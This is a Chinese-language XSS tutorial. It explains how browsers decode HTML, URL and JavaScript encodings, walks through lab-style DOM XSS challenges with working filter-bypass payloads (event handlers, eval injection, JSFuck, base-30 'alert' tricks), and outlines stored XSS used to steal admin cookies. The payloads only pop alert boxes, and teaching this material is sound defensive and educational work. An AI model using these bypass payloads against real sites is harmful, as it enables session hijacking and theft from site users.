【安全】XSS - 技术栈

文章目录

xss
- 1.反射型
- [XSS Payload的一些情况](#XSS Payload的一些情况)
- - 01
  - 02
  - 03
  - 04
  - 05
  - 06
  - 07
  - 08
  - 09
  - 10
  - 11
  - 12
  - 13
  - 14
  - 15
- HTML文档处理过程
- - [0x01 HTML解析](#0x01 HTML解析)
  - [0x02 URL解析](#0x02 URL解析)
  - [0x03 JavaScript 解析](#0x03 JavaScript 解析)
- 2.DOM型
- - [Ma Spaghet!](#Ma Spaghet!)
  - Jefff
  - [Ugandan Knuckles](#Ugandan Knuckles)
  - [Ricardo Milos](#Ricardo Milos)
  - [Ah That's Hawt](#Ah That's Hawt)
  - Ligma
  - Mafia
- 3.存储型

xss

用户的输入没有进行很好的过滤，导致用户输入被输出到前端，前端解析执行了用户输入。

利用js语句，常用方法alert，confirm，prompt；js所有的元素都继承自window

1.反射型

XSS Payload的一些情况

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<a href="javascript:alert(1)">aaaaaa</a>

a标签中的href中可以通过伪协议来执行js代码

01

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<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a>

URL 编码 "javascript:alert(1)"
解析不了,不认识

02

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<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">

HTML字符实体编码 "javascript" 和 URL 编码 "alert(2)"
认识,可以执行

03

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<a href="javascript%3aalert(3)"></a>

URL编码 ":"
不认识

04

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<div>&#60;img src=x onerror=alert(4)&#62;</div>

HTML字符实体编码 < 和 >
不能进入标签开始状态

05

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<textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>

HTML字符实体编码 < 和 >
不能进入标签开始状态

06

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<textarea><script>alert(6)</script></textarea

textarea标签和title标签是RCDATA元素，只认为其中的内容是普通文本和字符引用，但是字符引用无法进入标签开始状态，所以无法执行

07

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<button onclick="confirm('7&#39;);">Button</button>

HTML字符实体编码 " ' " （单引号）
html实体编码，认识，可以执行

08

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<button onclick="confirm('8\u0027);">Button</button>

Unicode编码 " ' " （单引号）
js严格区分大小写，不能Unicode编码符号

09

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<script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>

HTML字符实体编码 alert(9);
script标签和style标签是原始文本元素，只能容纳文本，其中的字符引用并不会被解析和解码

10

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<script>\u0061\u006c\u0065\u0072\u0074(10);</script>

Unicode 编码 alert
Unicode编码支持，也没有Unicode编码符号，可以执行

11

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<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>

Unicode 编码 alert(11)
js不容许Unicode编码了符号

12

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<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>

Unicode 编码 alert 和 12
解码完以后的12没有单双引号的包裹，所以语法错误

13

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<script>alert('13\u0027)</script>

Unicode 编码 " ' " （单引号）
js不能Unicode编码符号

14

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<script>alert('14\u000a')</script>

Unicode 编码换行符（0x0A）
js支持换行解析，可以执行

15

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<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;"></a>

html实体编码---->urlcode编码---->Unicode编码
符合规范，没有urlcode，Unicode编码符号，可以执行

小结

<script>和<style>数据只能有文本，不会有HTML解码和URL解码操作
<textarea>和<title>里会有HTML解码操作，但不会有子元素
其他元素数据（如div）和元素属性数据（如href）中会有HTML解码操作
部分属性（如href）会有URL解码操作，但URL中的协议需为ASCII
JavaScript会对字符串和标识符Unicode解码

HTML文档处理过程

解析一篇HTML文档时主要有三个处理过程：HTML解析，URL解析和JavaScript解析。

0x01 HTML解析

主要过程为：标签开始状态------>标签名状态------>数据状态

在解析过程中，任何时候它只要遇到一个'<'符号（后面没有跟'/'符号）就会进入"标签开始状态(Tag open state)"。然后转变到"标签名状态(Tag name state)"，"前属性名状态(before attribute name state)"...最后进入"数据状态(Data state)"并释放当前标签的token。当解析器处于"数据状态(Data state)"时，它会继续解析，每当发现一个完整的标签，就会释放出一个token。

在HTML中有五类元素：

空元素(Void elements)，如,
,等等
原始文本元素(Raw text elements)，有

五类元素的区别如下：

空元素，不能容纳任何内容（因为它们没有闭合标签，没有内容能够放在开始标签和闭合标签中间）。
原始文本元素，可以容纳文本。
RCDATA元素，可以容纳文本和字符引用。
外部元素，可以容纳文本、字符引用、CDATA段、其他元素和注释
基本元素，可以容纳文本、字符引用、其他元素和注释

0x02 URL解析

首先，不能对协议类型进行任何的编码操作，不然URL解析器会认为它无类型。这就是为什么问题1中的代码不能被执行。因为URL中被编码的"javascript"没有被解码，因此不会被URL解析器识别。该原则对协议后面的"："（冒号）同样适用，即问题3也得到解答。

为什么问题2中的脚本被执行了呢？

当HTML解析器工作完成后，URL解析器开始解析href属性值里的链接。在这时，"javascript"协议已经被解码，它能够被URL解析器正确识别。然后URL解析器继续解析链接剩下的部分。由于是"javascript"协议，JavaScript解析器开始工作并执行这段代码，这就是为什么问题2中的代码能够被执行。

0x03 JavaScript 解析

HTML解析过程中的"原始文本"元素。所有的"script"块都属于"原始文本"元素。**"script"块有个有趣的属性：在块中的字符引用并不会被解析和解码。**如果你去看"脚本数据状态"的状态转换规则，就会发现没有任何规则能转移到字符引用状态。这意味着问题9中的脚本并不会执行。所以如果攻击者尝试着将输入数据编码成字符实体并将其放在script块中，它将不会被执行。

2.DOM型

Ma Spaghet!

通过url中的get方法获取somebody参数，然后放入到h2标签中，没有进行任何过滤，而且使用的是innerHTML方法。

直接在url中传入payloads：

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?somebody=<img src=x onerror=alert(1337)>

所以，当插入纯文本时，不要使用 innerHTML ，而是使用 innerText，textContent，它们不会把给定的内容解析为 HTML，它仅仅是将原始文本插入给定的位置。

Jefff

setTimeout方法中使用的是innerText方法插入，无法再像上一题一样操作，突破口在eval函数。

方法1

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?jeff=bbb";alert(1337);"

方法2

使用js的连接符,在js中-两边都是表达式，则可以执行代码

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?jeff="-alert(1337)-"

Ugandan Knuckles

过滤了<>符号，不能闭合逃逸出input标签，只能在input标签中添加新的属性，onclick需要用户交互，不行；使用onfocus和autofocus共同来实现自动聚焦实现焦点事件。

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?wey=abc" onfocus=alert(1337) autofocus="

Ricardo Milos

form表单中，提交的位置action是通过get方法获取，用户可控，提交事件2秒以后自动触发；所以可以在action中写入伪协议，等到2秒后提交事件自动触发action中的伪协议。

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?ricardo=javascript:alert(1337)

Ah That's Hawt

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?markassbrownlee=<img src=1 onerror=location="javascript:alert%25281337%2529">

Ligma

过滤字母和数字，直接考虑用编码的方式进行绕过。

先将alert(1337)进行jsfuck编码，然后将编码后的内容进行urlencode编码（防止将其中的+号解析成空格等）

复制代码

?balls=%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%2B%5B%21%5B%5D%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%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Mafia

过滤alert

方法1

匿名函数，Function代表构造方法，后面还有一个括号代表立即执行

复制代码

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

方法2

将alert转换成30进制，然后用toString方法转换回来。

注意：最少要30进制，因为0-9再加a-t是10+20即为30，所以最少要30进制，否则将涵盖不到t。

复制代码

?mafia=eval(8680439..toString(30))(1337)

方法3

复制代码

?mafia=eval(location.hash.slice(1))#alert(1337)

使用location.hash截取#及后面的字符串，由于#不需要，所以从下标为1处开始截取。

3.存储型

存储型XSS主要用来获取管理员的cookie，从而实现使用cookie直接访问后台管理页面。

存储型XSS攻击的流程可以分为三个阶段：注入、存储和触发。

注入阶段

攻击者通过网站提供的输入接口，如评论框、搜索框、表单等，将恶意代码注入到网站的数据中。这些输入接口通常是网站允许用户提交内容的地方。

存储阶段

当网站未能对用户输入进行适当的清理和转义时，恶意脚本便被存储在网站的数据库或文件系统中。这意味着恶意代码成为了某些操作时网页内容的一部分。

触发阶段

其他用户访问包含恶意代码的页面时，由于网站未能对输出数据进行编码或过滤，恶意代码在用户的浏览器中被执行，导致攻击发生。